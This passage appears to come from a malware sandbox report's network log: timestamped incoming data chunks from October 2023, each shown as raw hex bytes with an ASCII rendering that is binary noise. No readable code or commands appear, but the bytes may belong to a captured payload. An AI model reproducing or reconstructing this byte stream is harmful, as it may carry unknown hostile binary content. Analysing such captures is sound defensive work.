d6 f0 Data Ascii: "jz`Xfz$(l0Fb-&__PKqTIIN9}m0qT&f96IK&n@32j^C=~`,Yf"yoLw 5/m??;tphxO!BBYe[uZ4gJ:dym#+*wy''y~iMSXeJ
2023-10-13 14:06:11 UTC	3676	IN	Data Raw: 1b 7b 83 07 25 81 26 85 61 ec 83 e3 4a 24 5a a8 27 f2 90 82 6c 15 a3 3b bc 4f fa 9c 41 f6 1c 85 5e 5d e7 0a b5 fb 84 4f 9b 08 17 26 69 2a 60 b3 50 ce c7 44 e0 3f d3 5b c0 5c 36 70 9d 10 76 b7 05 b5 5e a3 a2 90 ff 40 ab 05 ab 63 57 b2 cb 57 27 39 ba 25 ce 92 62 48 42 72 d5 14 be 36 6a ed 2c 5e d4 70 6f d7 55 2f ce 0a d8 26 63 61 ba 9c 1e 5e a2 84 e7 53 f5 ba 86 62 86 6a a4 20 4e d4 33 3d fa 35 ca cf 45 8d 5b 2c f2 57 a5 7c 44 b3 fd 90 81 c8 a4 b7 68 c2 a6 5d ed f9 1d f9 ab 3b 61 be 64 72 98 5b a8 85 1a a0 75 e1 be d4 2a 5c a1 80 97 75 3f e2 8c 42 57 74 1b 85 fa b3 7a fe 81 63 b9 8b d5 86 d3 f5 45 26 07 f1 16 4c d3 e3 df 81 45 06 a5 09 cc 52 3c 76 68 90 e4 db bf 1a ec 03 48 0e 95 2d 98 34 64 69 1c 68 80 d9 1d c3 a6 db 9f 76 89 5c 68 91 f3 1f 1d f9 f2 8e 74 Data Ascii: {%&aJ$Z'l;OA^]O&i`PD?[\6pv^@cWW'9%bHBr6j,^poU/&ca^Sbj N3=5E[,W\|Dh];adr[u\u?BWtzcE&LER<vhH-4dihv\ht
2023-10-13 14:06:11 UTC	3692	IN	Data Raw: 91 64 35 c6 66 1c 7a 54 0b f3 95 28 ea 8b c0 cf a7 c2 84 d9 3e 99 bf db c7 19 e4 f8 e2 06 93 01 96 64 68 9b 33 c0 c9 b5 6d c5 3b 97 09 ff 03 12 eb 50 55 44 a3 4c fa 45 47 b6 ca f9 0f 1e 34 19 79 9a 46 40 3a 8c b6 6a 41 d6 42 94 c4 74 16 c9 49 68 d1 0a 21 c2 17 d3 e3 fe e5 08 f4 86 b2 c2 35 45 00 fa d8 e4 b8 30 2a 19 22 35 c4 9e 84 52 0c f7 9c 51 35 c4 71 5e 43 78 d1 60 c5 11 f3 3c 25 1e c7 d0 a7 df 39 d8 64 5c f0 09 03 ca a4 9c 90 f9 95 f2 8f 85 61 88 75 76 41 dd 0c cb 55 53 d7 31 1c fc 97 5c fe c2 79 cf ab 0a a5 7f fe 2b 68 64 56 1d fc be b3 cf ac 1a 5f 95 8e f6 07 fd 5d d7 16 b3 cd ea 4b e3 be d5 19 74 84 97 e5 5d ff b1 3e 99 fc 77 f3 d4 d4 e2 8d 92 3a ce 7f a0 5a e7 a2 b7 8c 2f 85 26 05 02 eb 16 96 2d 0e ea 6c 90 30 cf 8e 30 1c da af 6c c3 ac 8c f8 06 Data Ascii: d5fzT(>dh3m;PUDLEG4yF@:jABtIh!5E0*"5RQ5q^Cx`<%9d\auvAUS1\y+hdV_]Kt]>w:Z/&-l00l
2023-10-13 14:06:11 UTC	3708	IN	Data Raw: 66 21 7d 51 02 25 52 31 fb 34 39 64 0e 78 c9 86 48 6c 42 0d e0 03 5a 8c 86 96 48 1e af 54 c2 dc 03 0c aa a9 d0 8c 0a 1d 2b f9 ef 87 a9 57 fe d5 86 f2 ef d5 d4 9c a2 3e 71 89 af be fa 0d 63 68 85 1e dc 97 07 2f 90 ba a6 c6 40 61 84 7f 0b cc 37 e9 a0 a1 b2 8d 80 60 33 87 cf d5 bb d9 80 05 28 c7 86 42 c4 0c 27 13 61 4e e1 9f 19 b0 1d ea 28 dc 05 38 21 58 7a 6c 7d 10 95 8b 2b 19 e7 13 b6 b9 d9 52 44 66 4c 8a 08 63 72 60 81 23 2a 17 9d b1 f3 bf 88 1c 99 8a df 14 87 28 4f 09 3a 3f 49 46 d1 c1 b2 42 6e f4 d5 14 4d 83 68 37 e9 2b ac a8 06 07 4e bf b4 b6 f6 74 d4 24 6c 0c 36 01 b1 4c b7 41 58 7b 66 41 8e b1 f8 66 93 22 0f b6 60 b8 23 c5 9c cb 33 5c 9f 0d c1 22 33 79 f6 e7 53 ca 16 80 48 34 3a 2a 6e ae 97 31 78 bf 7d ca 5f dd 39 05 cd 4a 1e 3a a4 a6 31 5d c4 cb ef Data Ascii: f!}Q%R149dxHlBZHT+W>qch/@a7`3(B'aN(8!Xzl}+RDfLcr`#(O:?IFBnMh7+Nt$l6LAX{fAf"`#3\"3ySH4:n1x}_9J:1]
2023-10-13 14:06:11 UTC	3724	IN	Data Raw: a6 fe e3 60 c9 9e 08 b4 a3 73 11 b0 72 95 a0 1f 4f 4a 86 a0 25 c5 24 48 1f 9b 24 2f 83 89 c5 f0 53 c6 e0 36 9f f6 ad db 17 c4 ba 7e 75 70 0e ce a3 9e 32 ef c4 a9 8f 5b d5 a0 4a d0 b8 d3 3d 04 12 e0 ef 7f ac 16 63 f1 c1 66 97 01 2b 8a df ed 10 ac f7 46 7c 94 10 f1 3b 1b 3c e8 05 61 20 9e be 98 2a 85 ee a4 7e 03 0e 63 b7 7f 99 0f ee 06 21 dd 4b 4e 83 77 4d 14 3f 65 10 31 2b 85 8e 8d 9d c1 40 5e f1 63 67 70 0f 92 9e ac 90 b4 d2 c4 a1 2e 01 51 4a c8 79 37 2a 1a 49 13 9b 4d a7 7a 3c c9 d1 e3 5c 9a 50 07 6d 07 ca 39 cc 11 a1 83 03 b9 55 40 24 bc 06 7d 3d 7f 66 db e1 ed e9 66 b8 a3 92 f8 96 14 21 d0 38 6f 4e 56 25 ca 38 48 00 2d 58 54 29 c1 ca 7d 63 44 fa eb 8b 53 60 6c c8 e6 38 15 1c a1 11 78 80 58 7c 5d f1 62 af f2 33 4f a2 ec dd 17 a8 bc 68 a2 c7 92 df 52 09 Data Ascii: `srOJ%$H$/S6~up2[J=cf+F\|;<a ~c!KNwM?e1+@^cgp.QJy7IMz<\Pm9U@$}=ff!8oNV%8H-XT)}cDS`l8xX\|]b3OhR
2023-10-13 14:06:11 UTC	3740	IN	Data Raw: 26 2d 84 a3 37 85 65 ce 26 bc 54 1c 36 d3 19 ca 63 43 98 42 c3 11 8f a3 6e ed e6 39 a4 6b a8 0e 91 09 80 89 85 1e 51 c9 cf 95 b2 3d ec 13 8e 99 be 3a 98 e7 c8 37 4f cf 26 ee d1 3f e2 22 6f 5e ff a6 21 e4 86 d9 83 f1 ae 6d 98 c3 30 f3 46 1e 82 1f 31 bb 50 08 ab e9 53 67 fb c6 62 c8 43 bb e1 ed 17 f9 3a 50 53 d2 ef 9a ff 6b 1b 06 64 ea 43 f4 2e f8 e3 be 87 d1 66 00 5a ec 5b 0d fa 90 70 b8 b8 d6 73 58 3f f3 c7 05 ab fe 48 11 12 4a 38 0d df ec bb 9a 5a 9a e8 b7 98 25 cc 65 16 70 dc 0f 6a f9 1a e8 c3 54 a3 34 cf a0 45 61 bf 4b 10 ec 47 0b c2 4c b5 59 0e da e1 b1 d6 c1 c3 b2 69 30 23 01 bd 88 01 ac 9f cc e6 3f 81 9c 44 f5 ed cf 13 08 7a d5 b0 15 4a 63 53 44 f8 9e f9 5f 32 b4 f4 ed 58 bf 9f c2 57 e6 c7 5a 77 ee 96 c3 bb 7c 17 6f 95 1d bf 54 fd 85 db c6 b5 44 09 Data Ascii: &-7e&T6cCBn9kQ=:7O&?"o^!m0F1PSgbC:PSkdC.fZ[psX?HJ8Z%epjT4EaKGLYi0#?DzJcSD_2XWZw\|oTD
2023-10-13 14:06:11 UTC	3756	IN	Data Raw: 7d da ba b5 b0 8f f3 de f5 bf be d1 5d 39 39 b5 a4 97 8c 91 14 94 90 78 4c b3 97 f4 3e 6d d9 bf 4f 41 49 79 1c c3 4d a6 bc be c4 6c 46 09 25 1b be 78 f6 8e bd 17 dc 00 d6 c6 fe ba ec 18 fb af fd 2a 3d 1c e7 1f 1e d6 a5 ef dc fa fd fb b6 e0 d7 b5 61 25 5f 16 6d 77 16 16 60 ef d3 b0 a6 b6 72 84 05 d7 3b 15 eb 7e 74 d5 d3 3e 14 bd 16 3b 29 a6 0e fa db 3b 14 64 e6 c4 3a 77 1c 13 2e 81 fb 5c bd bf 5d ec 4f 06 0c a0 5e c6 19 19 14 9e 65 f4 71 80 24 90 02 cc 86 17 e5 94 f6 8a c7 25 13 78 e5 ce 90 cf a8 ea f8 dd 28 bd 63 92 1d 84 44 da 65 df 2d f4 d9 8b 42 ff 60 41 5d 09 83 a4 23 94 95 37 ec f4 b9 11 73 82 9c 67 d2 b9 21 4e 91 4e f9 5e 1a b4 d6 3b 38 ae e0 fc 89 86 a3 b2 4e 65 3e 2d 56 a5 91 35 96 2e 20 bc 48 8c de 11 67 d5 7a ba 6f 46 a1 11 da cd d9 98 66 74 b7 Data Ascii: }]99xL>mOAIyMlF%x*=a%_mw`r;~t>;);d:w.\]O^eq$%x(cDe-B`A]#7sg!NN^;8Ne>-V5. HgzoFft
2023-10-13 14:06:11 UTC	3772	IN	Data Raw: 83 b4 ea 81 68 9e 4a 08 cd d0 3e b0 76 73 c5 7b 4c ca e8 c7 0e 89 14 33 cf 62 ff da a4 ec 85 5b 80 82 36 62 56 24 42 52 45 41 f4 e5 53 d4 dd 1e 2d cb 6c ab c1 c6 fc 05 1e 69 d9 fb 8c 2b b1 ca f1 fd a5 b3 5c 1f 21 66 41 fd 20 bd cc 4e c2 55 cd 4d f0 ac e1 11 ef a7 4b e3 8c 55 85 1f 65 05 47 35 96 4d 1e 24 c8 10 0b ff ed a2 25 99 f3 f3 ee 9f a1 a8 fc 16 cb cc ae 04 e8 fa e5 5a 14 96 12 08 a6 40 3a 38 8f 5f 3e b5 c4 b6 38 8d c3 30 7f 0f ca ae 63 c6 eb 82 fa 05 cd 92 41 f8 4a 80 20 b6 a2 eb a4 36 1e 52 c7 c6 a6 7e 83 50 81 f1 7a 51 5b 50 f8 b1 f9 3c a6 58 8b 61 5b bf 65 37 49 1e 5b 6f 03 d0 4d b5 50 d3 c9 96 68 c4 8a 44 a3 be 66 f3 23 1d 92 85 a0 2a fd 3a 3c 53 17 d1 77 ab 4d fe 77 90 6e bf 6f 9b 61 9e 98 cc 0c 93 27 38 8e ab 70 98 fa 49 1c a4 fb d9 ae f8 73 Data Ascii: hJ>vs{L3b[6bV$BREAS-li+\!fA NUMKUeG5M$%Z@:8_>80cAJ 6R~PzQ[P<Xa[e7I[oMPhDf#*:<SwMwnoa'8pIs
2023-10-13 14:06:11 UTC	3788	IN	Data Raw: 54 83 e7 d9 45 1a 19 c7 3f 27 2c 42 7d b8 59 10 9a 44 0b 75 0f a7 85 46 55 ab 19 f1 3b c7 d0 df f6 4e 92 9d 29 f3 0e fd 6f 1a b0 88 81 cc 60 36 06 12 1b 7d c2 2b 1d ad c1 ba 01 68 c1 4f 36 8e 79 af 31 a7 4e 9b 87 54 5e 53 ca 40 6d ee c1 68 c4 77 f4 48 66 12 49 ea 71 07 9a 96 46 fa 91 c9 81 aa fd 56 a9 ed 3a bb 38 f5 bc 9e 4e 56 56 da 71 31 47 4f e3 b2 89 3f 1e 2f ab 54 67 a9 55 3e 2d e1 e7 53 75 5f af e1 ad b6 65 3a 80 10 9b 4b 01 e4 4b c4 ff f4 16 bf 48 ee 48 de 48 b4 19 67 d7 dc f6 a5 ea f4 44 b4 f2 ac 41 48 3d c5 60 6c 56 09 fb b6 51 78 2b b6 2d 99 74 e1 f9 88 b7 18 1a 6d 01 07 64 40 40 e6 e9 5d 37 c2 18 b0 df 5d 7c 97 64 2f 25 83 10 e6 4d 2d ed 44 aa 58 3a 1f d9 a7 81 aa 0c 98 cb f9 72 91 04 a2 1d 2c 8e e5 c5 29 20 9e 1b 16 16 ac 6b d1 5f 86 97 a5 53 Data Ascii: TE?',B}YDuFU;N)o`6}+hO6y1NT^S@mhwHfIqFV:8NVVq1GO?/TgU>-Su_e:KKHHHgDAH=`lVQx+-tmd@@]7]\|d/%M-DX:r,) k_S
2023-10-13 14:06:11 UTC	3804	IN	Data Raw: 8b 19 a2 d9 09 3f 22 87 97 4a e7 8c b5 bc 55 5d 43 fe 41 9b 87 e1 0b 34 10 e5 0c 15 ef 46 1d cb 3e a2 00 07 86 0e b0 32 8e 6d 5d 46 30 67 36 da 6a 17 2e 78 85 34 f6 89 d9 ad 0f e1 de 11 07 5c ec 3a ec bf 09 76 4a 08 0e d4 8e 6f a2 1f dc 54 c2 be b5 65 4d 4d 23 d6 b0 31 55 d9 ff 51 cf da 4f f1 a0 ed e8 cd 2b 69 f5 9b 63 b5 21 45 64 ad ef 63 0f 6d d8 7f 28 3d 99 ff e7 90 f9 2d 87 27 35 a6 60 2f 39 04 83 68 bc 0c 39 94 62 5c fc 97 be 4c 24 6b 34 98 86 18 72 82 bb 11 1e 06 8b 8b 90 ef be 7f da b3 58 b8 bb 78 10 18 df c1 9f af b1 e3 a8 c0 bb 07 0a fd 98 a6 1a b0 85 e5 2a de 72 75 b4 4c d6 ea 76 4b da 30 63 70 29 5f b5 16 9d 87 c1 a5 37 00 48 07 da b3 4c d1 83 3e fb a3 1f 30 ae ec 91 6b af 86 90 b6 d5 7b 79 44 91 f3 56 41 0d 5f 86 c5 b2 72 cb 2e 16 b8 05 9d 44 Data Ascii: ?"JU]CA4F>2m]F0g6j.x4\:vJoTeMM#1UQO+ic!Edcm(=-'5`/9h9b\L$k4rXx*ruLvK0cp)_7HL>0k{yDVA_r.D
2023-10-13 14:06:11 UTC	3820	IN	Data Raw: 6f 3d cc de 56 87 64 29 a3 ed 43 e9 04 c6 bf f3 b8 96 21 3d 19 f1 12 c4 11 68 15 08 0b 81 da 4f bc 31 ad 78 3c 14 da 08 1e f7 ce 17 ff e8 15 ea 48 bd 85 e9 57 00 de e8 80 2c be ac 28 9f bd 93 c4 db 07 b2 86 a2 af 98 8b 34 0a 49 f8 2c 50 c8 8e a5 cf 9e 5b 28 48 fd a2 2f f0 b7 70 a8 2f aa a7 4b ac b0 c2 cf d3 71 a5 2d 01 fc e9 ad fe 68 a0 27 a9 10 0d 98 fd e0 ac bb 35 8d 38 0d 37 43 76 f5 9c 6d b2 26 45 5f c7 89 24 17 94 b4 c1 ad e1 62 c6 f7 b4 0a 4c 23 aa 1d cd 93 03 23 cf 8b d8 61 c7 8f d2 f9 c9 4c 26 79 d9 57 1f b0 d4 7a 0f 27 e8 13 aa af 59 a2 e0 8b fe 4f 99 4d 66 6d 3e 2b eb 43 4e 05 cb 53 62 c9 0e 0d a0 7f 36 96 2b 4a 09 26 01 91 e6 1f 7d 44 a6 20 de 10 f9 00 d1 e8 8f 47 94 a7 72 dd b5 1c a5 16 b7 f5 4b d3 fe a0 ac 13 57 89 23 de 29 61 47 ce 14 7f d7 Data Ascii: o=Vd)C!=hO1x<HW,(4I,P[(H/p/Kq-h'587Cvm&E_$bL##aL&yWz'YOMfm>+CNSb6+J&}D GrKW#)aG
2023-10-13 14:06:11 UTC	3836	IN	Data Raw: b6 45 bf a4 e0 42 80 bc 5c 5c 7a 77 56 d8 d2 07 b2 55 e1 5e 11 3a db fa 9a 73 33 87 66 a7 3e 3a 10 ac 5f 3d 76 ba 44 22 c0 5e 12 69 c5 9f 25 4f 0d 36 85 8d 47 54 48 e0 b9 16 43 60 29 0b 6b 66 77 05 99 48 b6 d4 f9 58 b6 a7 de dd f6 40 b8 a3 74 47 99 3c 87 01 25 85 72 1f b4 20 10 cd 56 33 bb 13 ab 2e 2d 8d 09 de 87 c3 52 07 e3 1f 85 d8 09 63 2b 2f db 86 bc 7d 5d 97 d8 d1 71 d2 ef c9 ab 2d 83 9a e9 45 c9 d0 d7 a0 21 6e 51 8d cf 67 a1 32 7d 06 80 7d df 47 b5 bd 94 5e 60 9d 11 fe c0 78 92 22 56 73 0c b8 71 22 5e 7a af 41 48 86 51 fe ee 6c ea 0f 0b 8c 30 80 6c 3b 24 73 92 64 fa a5 25 2f f4 b1 67 82 8e b1 9d e9 42 23 48 31 ab 3c de c8 87 69 65 2d 7d 72 97 53 0a c5 5f 10 c8 f0 35 b3 4d 28 4b 0a 54 a3 23 93 14 db fd d3 c0 0e 76 93 35 b7 3b 13 94 0f eb 9c 75 10 3f Data Ascii: EB\\zwVU^:s3f>:_=vD"^i%O6GTHC`)kfwHX@tG<%r V3.-Rc+/}]q-E!nQg2}}G^`x"Vsq"^zAHQl0l;$sd%/gB#H1<ie-}rS_5M(KT#v5;u?
2023-10-13 14:06:11 UTC	3852	IN	Data Raw: 7d ab 2f 6c e6 0b bf 3c f4 49 3d 3f d9 1e 62 44 6e 67 4a e1 b2 bc 9c e2 77 16 91 cd 1c 1f 9e 21 ec b5 68 41 e3 fb 55 a1 6b 5a 2a 9f 99 de 50 b5 b0 68 87 f9 79 d4 82 fe b8 f5 2c 6f c2 bc 9f b5 a5 8c bc 86 cb 6f 77 52 a3 bc 59 25 7f 6f 22 b8 77 43 a4 52 ad e5 bf c7 e6 3c bb 30 c5 4d 56 c0 60 9a b3 bc d1 1a 2f aa a6 24 d0 25 bc d8 b3 7f 5c c9 85 8d 19 cb 93 d9 4d 36 14 8f ed 77 0c 4e 03 1b 04 17 2c 36 e8 b8 39 bc 40 31 59 6d 93 f4 5a 6a 46 65 81 a9 ff fa 0a d8 ae 43 3e 70 d0 0f d8 e8 04 03 8a c4 68 18 d2 fe 3c a6 df 1e 46 bf 8e 98 46 43 7c 16 ad db a6 98 e2 75 a4 08 d8 1c d3 e0 57 1a ff dd cf ba b8 f1 22 1e da 23 b1 ee 28 b7 d0 9b 94 7d 82 d1 3d 6e 3a 5f 81 0a 70 2e d8 10 d8 60 13 a5 bd 11 3e f8 00 a9 67 39 7e 55 f4 6e 9d 05 c7 ae 9a 93 ef 5e c3 6a 91 66 31 Data Ascii: }/l<I=?bDngJw!hAUkZ*Phy,oowRY%o"wCR<0MV`/$%\M6wN,69@1YmZjFeC>ph<FFC\|uW"#(}=n:_p.`>g9~Un^jf1
2023-10-13 14:06:11 UTC	3868	IN	Data Raw: a4 00 28 d0 31 f8 68 15 11 08 e1 e6 a2 1b 51 81 55 0b 4a 0c 50 af ae c1 7e 5a 7c 28 56 a2 36 45 24 b8 4b bf 97 b2 46 b3 e8 94 e6 fd ea 18 8f b5 91 91 89 fd a9 de 87 fd bd 38 9c ae 80 75 76 6e 2a 11 f3 18 74 e8 1f 37 d8 d3 20 5f 8c 99 79 48 aa f9 a6 41 8a 81 35 d8 0d 18 09 c7 61 e0 c1 af 04 f6 56 53 f8 fe 99 d3 ff 4f 97 91 4b 8f 00 db cf 08 66 46 f8 f8 3a 9c 18 d9 51 a1 0c 43 77 a0 50 20 50 4a cb 91 cd cf 15 fa 02 b2 68 8a fa c5 27 39 60 de fc f1 4c 8f 74 cb bf 6f 99 f7 f5 10 97 f0 bc 2f a6 6c 72 2d ba b5 3d ec c9 b4 d2 f4 76 b1 62 7e 75 30 ed d1 f5 08 5f 1e 67 5b 01 c4 8f ec bf 78 94 de a2 c6 b3 07 bb 2b f4 1f a1 72 48 9b 36 74 06 29 84 6f f7 75 c1 c6 d1 d4 04 47 4e 09 dc ba 9f 5e 9f a1 e3 e3 1d d3 a0 07 97 bb 7e 56 5b de 3a 2e 49 b8 da 9a e7 1f 04 c2 e9 Data Ascii: (1hQUJP~Z\|(V6E$KF8uvn*t7 _yHA5aVSOKfF:QCwP PJh'9`Lto/lr-=vb~u0_g[x+rH6t)ouGN^~V[:.I
2023-10-13 14:06:11 UTC	3884	IN	Data Raw: 2a 18 47 4b 48 9d db 6c 97 4e 73 ca 7c 23 3b 42 dd 8e 32 ce 70 64 4e 11 e6 f1 be 05 7a e5 23 a5 b7 04 66 4c a2 70 0e 97 f6 c2 18 57 41 ab 28 d9 e7 37 6d 0d 95 b8 8e 6b dd ff e9 d9 e7 42 1a 84 85 aa 28 e2 63 e3 48 a5 e6 eb 37 78 3e e7 e6 87 49 7f 2b 8e 03 b4 b2 69 01 1e ad 12 1b b8 9f 10 92 ee e6 71 f9 96 44 84 8f c3 a5 00 ec e8 a3 e6 fd 74 c0 48 d1 a2 f5 c4 7c a0 49 30 18 a6 e5 b4 66 d7 e4 0f 81 c2 eb 06 27 f4 b8 35 2f 07 af 0c ad 0c 96 d4 c1 d2 33 14 64 f4 26 34 07 34 21 1a bf ef 98 07 36 de 26 6c 42 f8 3b e1 12 7a d5 f8 68 62 d7 11 19 d9 70 36 34 14 e3 80 0c 22 1c b9 e9 fa b8 3e c2 d4 60 14 c6 76 f0 f5 5f 83 49 75 ec b9 e1 b7 f7 51 9f 37 d1 72 b5 80 82 e5 2c c8 eb be d0 ea 10 ef 0e 3a 3e 09 80 29 99 ef f3 01 eb fa 0f 3b 30 a0 7e 6b 52 bc c2 ab f4 76 15 Data Ascii: *GKHlNs\|#;B2pdNz#fLpWA(7mkB(cH7x>I+iqDtH\|I0f'5/3d&44!6&lB;zhbp64">`v_IuQ7r,:>);0~kRv
2023-10-13 14:06:11 UTC	3900	IN	Data Raw: 34 72 a9 0f 00 40 c1 64 3a 9e 1f 99 3f 44 79 b0 d1 3c 14 d7 01 ea 08 38 cb 7e e6 c1 13 8c 3b a1 26 3b 4f a4 96 83 0a 7c 46 d6 51 da 65 6b 9e 50 79 a4 0c ce cf 48 b0 ce db 05 31 93 29 3c f2 b5 dc 10 c7 0c a2 75 19 f1 af d3 75 74 37 34 1f 8d f3 d5 c9 bc 87 b5 1b cc 56 61 47 46 d7 14 28 10 a2 92 ef 87 6d 63 ae 07 25 11 56 e1 78 31 67 c8 44 49 8b 43 cf 32 53 78 86 05 0e 56 d9 8c 9b 7a cc c2 75 66 ed 63 0d d8 3a cf 4b 50 d3 4d 82 f9 47 5a 51 68 f7 a8 7b 8a 59 b5 3b c2 eb 3e 9e f0 9c f8 c0 50 70 32 20 7f 9f 25 a5 8f a9 88 ec b1 f4 16 06 5f 94 bf 5b 1b c5 39 d3 cf 14 5e f4 26 77 49 b9 ca 6a 6e 22 6a 87 4c 15 56 09 1c a1 ff ca 57 41 63 50 f3 ef 81 0d e0 85 75 23 91 85 c5 3f e5 b8 fc e0 ca 3d 1f 8d aa f0 8f 92 b1 bd f3 e5 42 49 4c 24 12 bb cc 7d 6f df c1 36 fa 48 Data Ascii: 4r@d:?Dy<8~;&;O\|FQekPyH1)<uut74VaGF(mc%Vx1gDIC2SxVzufc:KPMGZQh{Y;>Pp2 %_[9^&wIjn"jLVWAcPu#?=BIL$}o6H
2023-10-13 14:06:11 UTC	3916	IN	Data Raw: 1d 2e dd 36 c2 a5 f6 a3 89 8a 8f 97 4d d5 a8 0c 77 ee cf 2d 9d 34 2c 9e 4d 59 75 0a be 8d d2 98 02 c6 ea aa 7e be 05 f3 13 95 8d 07 c5 ce 2d 2d f9 fc 9c 7d df d1 d9 17 5f dd 23 26 24 6b e1 12 87 96 02 61 7c fc 06 f3 e5 2d ac 32 b9 37 9a d6 02 ad 98 57 21 49 a2 76 5d ec 8e 55 7a 12 55 08 ed d1 80 a8 77 56 56 39 57 57 c0 ae d3 83 ec ac 84 79 59 01 a9 22 59 0b ed ed 26 82 c0 3d 8f 86 62 69 28 e7 62 98 b1 72 12 a3 d8 a6 a4 ed dc e5 3f 1b 66 69 21 0e 2e 01 1f 17 e2 8d 22 2f d1 7a d3 ec 06 5c 5b 1b bb ba e2 1d 1f e0 dc b1 72 ce c7 32 91 71 44 a4 01 de 56 ba 39 da 68 4f bc 72 8a 3f 47 f1 3c b9 a5 24 9d 65 a9 2f 6f aa 5b 1f d0 f2 5b b5 8b 1e 33 fa 0e db 17 84 46 74 a4 74 9c 18 61 3b 45 cc 8e d9 c2 e9 5f 97 7f e4 47 8e b9 ab 1f e9 32 4b c6 44 f5 91 92 2c d4 f0 a9 Data Ascii: .6Mw-4,MYu~--}_#&$ka\|-27W!Iv]UzUwVV9WWyY"Y&=bi(br?fi!."/z\[r2qDV9hOr?G<$e/o[[3Ftta;E_G2KD,
2023-10-13 14:06:11 UTC	3932	IN	Data Raw: a4 8d 86 39 63 f4 6a cd 9e d4 d8 a5 f3 92 61 c7 b2 bb fb f6 3a ef d3 ee c3 fe a2 5f 11 a0 a5 d5 7a b1 f9 28 44 9a a0 f5 6c 87 50 17 65 8a 22 77 1e d3 be cf b7 dc 99 91 94 c7 5d 46 f0 db 0d 3f f6 01 c9 67 ee 86 cd 86 b8 86 ad f8 71 51 6f 17 3a 65 57 00 d0 79 ea 29 5e 1b ba 59 57 9f c0 4f c7 ee ec b0 cc 46 90 27 d3 35 dc 9e 98 b2 b4 56 de 26 73 82 14 dc dc 6a 98 67 d5 ac a8 ce 18 37 fe 69 1f 43 f8 f3 22 62 b8 70 ee 8c f4 02 8d 9c e6 ea 76 60 83 0d a8 ad f5 1f 0f 0f ec 3d d0 d8 2c 5e 22 69 56 e0 70 81 b4 14 73 27 d3 80 b5 4b da d2 d5 11 7d 81 9b ec d7 2e d1 8c 2c 2c a8 2c a8 f3 7f b3 04 81 84 db 3a 18 6f 16 2d ba 6d 2b fa 63 8e a2 37 28 ab 9c c9 1e 26 88 e5 1a 65 5d bc 41 00 e9 6c 7d f9 04 8e cb 7a f7 63 19 37 6c 54 6a e4 43 f1 6d 0f b7 c3 46 19 89 87 ac 66 Data Ascii: 9cja:_z(DlPe"w]F?gqQo:eWy)^YWOF'5V&sjg7iC"bpv`=,^"iVps'K}.,,,:o-m+c7(&e]Al}zc7lTjCmFf
2023-10-13 14:06:11 UTC	3948	IN	Data Raw: b5 af 1e 9e ce 30 d2 11 ab bb 7a a6 48 31 d4 5c b6 79 d7 27 f6 d3 23 40 ab 84 58 41 22 53 d0 9f 0c 15 f6 f8 8e 50 e0 42 15 6e 6f 44 78 93 2c ba b9 a2 29 ec a7 5d 91 c2 82 b0 d2 45 d4 99 61 e1 4c af e2 b1 73 74 db 9c 57 f3 91 4c 42 7b 1c 48 07 c1 c5 80 85 66 c9 ef eb 18 84 f3 06 5c 69 87 7b fe 08 f0 4b 71 14 47 ce 42 03 6f c5 aa fe 47 96 2e 80 56 11 4f 16 6d 0f f2 ff f7 58 b1 07 4a 60 f5 7f 3d a3 d2 91 c8 54 e6 c0 37 97 63 60 46 bc 3f cb c0 0c da b8 95 5d a9 48 b9 c0 bb 5a a5 f2 82 6c 71 84 ba 93 3d 31 5e 6f 26 90 d7 e0 8a bc 2f 0d 2e 75 f3 62 52 52 90 73 33 c7 2c a0 ca ea 5b 33 64 dd 1a 0c 24 75 0d 1f 32 57 2f 2c 35 d4 72 6d 72 a1 12 3f e2 8c 8b aa c2 10 fa c3 c3 7c 5e 54 58 cb 50 76 23 c6 9e ac 8d e9 80 07 87 17 97 0c 6b 54 58 7d dc 13 0b bf ec 7e 24 a9 Data Ascii: 0zH1\y'#@XA"SPBnoDx,)]EaLstWLB{Hf\i{KqGBoG.VOmXJ`=T7c`F?]HZlq=1^o&/.ubRRs3,[3d$u2W/,5rmr?\|^TXPv#kTX}~$
2023-10-13 14:06:11 UTC	3964	IN	Data Raw: 70 1d 52 b5 de f4 99 95 06 3c 2f fc b2 82 67 e3 ff 77 60 f4 fe 0d 9c 7d dc 63 7b 69 c2 33 6b 4c ec 42 3d d2 d5 ee 7d 62 ec f1 a7 d6 3c 96 92 88 8c 46 67 da ca 10 ad 91 0a 29 9d 1b 9b 2a fc d2 85 a4 4a 01 66 d5 34 b8 69 fd 3a cc ab ca d9 be c1 d8 59 fa 0a 7c 94 54 2d 37 a1 a7 d1 d9 62 b8 ea 23 39 ca 75 9f bc ae ce ad 68 84 7e a3 9c 1e b8 47 6e 7a 46 16 50 22 87 d4 29 57 23 9d 46 d1 6f aa 16 c2 24 2c ab 30 f1 e6 9e 27 4f a1 41 d6 5b 85 b6 8e 6f 19 d5 c6 cd 12 01 32 f9 36 45 30 af 43 00 a3 0c 7c 64 90 8b 09 20 b8 4f 2a c1 b4 b7 9c 58 e9 3c ee 30 43 a4 a4 9e bc 8d 44 47 e7 fb bf c0 5e e9 bf 4f 74 ed 3e 41 62 f7 8c 95 47 1b 34 3d 3a 0f 00 7c 8e 88 03 7f e2 f3 92 15 82 59 b7 8c 43 35 81 3f 25 0a 33 7a e0 44 02 04 02 9d 82 97 fe 1d 40 ed 31 ff 69 a0 82 2c 8b ba Data Ascii: pR</gw`}c{i3kLB=}b<Fg)Jf4i:Y\|T-7b#9uh~GnzFP")W#Fo$,0'OA[o26E0C\|d OX<0CDG^Ot>AbG4=:\|YC5?%3zD@1i,
2023-10-13 14:06:11 UTC	3980	IN	Data Raw: 00 30 21 6e 12 1e c1 1d 15 f7 70 56 c3 c4 d5 fb bb 97 98 d0 29 96 11 81 25 6a 34 14 1e ca e1 dd d3 97 04 1c 5f 65 63 be b9 56 54 a7 42 e3 5d 8b c7 89 23 a6 78 7f 5c 01 b3 8d ca af 75 ef d8 b8 25 29 bf f8 b1 96 be 3d f5 d2 8c f8 97 45 6d 47 6d 77 8b 01 c1 83 a4 37 3c 4c 14 9c df 16 0c 7e c5 ea c8 c8 ce f8 a1 54 c6 f4 d3 c2 70 5c 5b bc 46 3e db 33 89 5b c7 55 3b f2 aa 8e 79 0c ae 72 d8 f7 64 5a 38 e7 3a 67 07 db 9e 92 19 f1 0e 12 d8 09 32 50 f6 dd 67 cb 82 59 75 bc 4a 6c 73 ab 3f 3c 89 4f de 0d db bc 3c 8d a3 e9 86 88 5c 66 38 18 c0 c3 f7 0a 23 3b cc b0 c3 d8 df 3d 91 66 72 20 d5 06 f8 5d 32 ed c6 98 80 8d 55 78 67 f7 a9 f4 88 6c 31 19 1f c8 bc 91 fc ef 51 4a 29 e7 08 3a e7 13 39 41 99 34 a6 08 5c 5d ec 